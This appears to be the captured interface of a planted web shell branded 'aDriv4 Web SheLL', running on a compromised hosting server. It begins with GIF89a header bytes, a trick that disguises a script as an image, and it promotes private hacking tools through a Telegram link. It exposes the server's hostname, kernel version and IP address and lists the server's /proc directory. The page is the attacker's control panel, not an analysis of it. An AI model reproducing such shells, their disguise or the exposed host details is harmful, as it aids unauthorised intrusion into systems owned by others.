GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server64.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.114.248

Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-19 08:54:27
.. dir - root/root 0755 2024-05-19 08:32:21
2545003 dir - smilmoju/smilmoju 0555 2025-07-13 07:46:01
4126971 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:01
4153835 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:08
4179512 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:48
4183960 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:59
4183963 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:59
4183968 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:59
4183969 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:59
4183970 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:59
4183971 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:59
4183972 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:59
4183976 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:59
4183980 dir - smilmoju/smilmoju 0555 2025-07-13 07:45:59
acpi dir - root/root 0555 2024-05-19 12:56:04
bus dir - root/root 0555 2024-05-19 12:56:25
driver dir - root/root 0555 2025-07-13 07:46:00
fs dir - root/root 0555 2024-05-19 12:56:25
irq dir - root/root 0555 2024-05-19 12:56:09
kcare dir - root/root 0555 2025-07-13 07:46:00
lve dir - root/root 0555 2025-07-13 07:44:37
net link - smilmoju/smilmoju 0555 2025-07-13 07:46:00
scsi dir - root/root 0555 2024-05-19 12:56:25
self link - smilmoju/smilmoju 0555 2025-07-13 07:45:59
sys dir - root/root 0555 2024-05-19 08:55:57
sysvipc dir - root/root 0555 2025-07-13 07:46:00
thread-self link - smilmoju/smilmoju 0555 2025-07-13 07:46:00
tty dir - root/root 0555 2025-07-13 07:46:00
buddyinfo 0 B root/root 0444 2025-07-13 07:46:00
cgroups 0 B root/root 0444 2025-07-13 07:46:00
cmdline text/plain 0 B root/root 0444 2025-07-13 07:45:18
consoles 0 B root/root 0444 2025-07-13 07:46:00
cpuinfo text/plain 0 B root/root 0444 2025-07-13 07:46:01
crypto 0 B root/root 0444 2025-07-13 07:46:00
devices 0 B root/root 0444 2025-07-13 07:45:53
diskstats 0 B root/root 0444 2025-07-13 07:45:37
dma 0 B root/root 0444 2025-07-13 07:46:00
execdomains 0 B root/root 0444 2025-07-13 07:46:00
fb 0 B root/root 0444 2025-07-13 07:46:00
filesystems text/plain 0 B root/root 0444 2025-07-13 07:43:13
interrupts 0 B root/root 0444 2025-07-13 07:45:35
iomem 0 B root/root 0444 2025-07-13 07:46:00
ioports 0 B root/root 0444 2025-07-13 07:46:00
kallsyms 0 B root/root 0444 2024-05-19 12:56:25
kcore 128 TB root/root 0400 2024-05-19 12:56:04
key-users 0 B root/root 0444 2025-07-13 07:46:00
keys 0 B root/root 0444 2025-07-13 07:46:00
kmsg 0 B root/root 0400 2025-07-13 07:46:00
kpagecgroup 0 B root/root 0400 2025-07-13 07:46:00
kpagecount 0 B root/root 0400 2025-07-13 07:46:00
kpageflags 0 B root/root 0400 2025-07-13 07:46:00
loadavg text/plain 0 B root/root 0444 2025-07-13 07:46:01
locks 0 B root/root 0444 2025-07-13 07:46:00
mdstat 0 B root/root 0444 2025-07-13 07:46:00
meminfo text/plain 0 B root/root 0444 2025-07-13 07:44:51
misc 0 B root/root 0444 2025-07-13 07:46:00
modules 0 B root/root 0444 2025-07-13 07:46:00
mounts text/plain 0 B smilmoju/smilmoju 0444 2025-07-13 07:46:00
mtrr 0 B root/root 0644 2024-05-19 12:56:25
pagetypeinfo 0 B root/root 0400 2025-07-13 07:46:00
partitions 0 B root/root 0444 2025-07-13 07:46:00
sched_debug 0 B root/root 0444 2025-07-13 07:46:00
schedstat 0 B root/root 0444 2025-07-13 07:46:00
slabinfo 0 B root/root 0400 2025-07-13 07:46:00
softirqs 0 B root/root 0444 2025-07-13 07:46:00
stat text/plain 0 B root/root 0444 2025-07-13 07:43:13
swaps 0 B root/root 0444 2024-05-19 08:55:58
sysrq-trigger 0 B root/root 0200 2024-05-19 12:56:25
timer_list 0 B root/root 0400 2025-07-13 07:46:00
uptime text/plain 0 B root/root 0444 2025-07-13 07:44:51
version text/plain 0 B root/root 0444 2025-07-13 07:46:00
vmallocinfo 0 B root/root 0400 2025-07-13 07:46:00
vmstat 0 B root/root 0444 2025-07-13 07:45:37
zoneinfo 0 B root/root 0444 2025-07-13 07:46:00
© aDriv4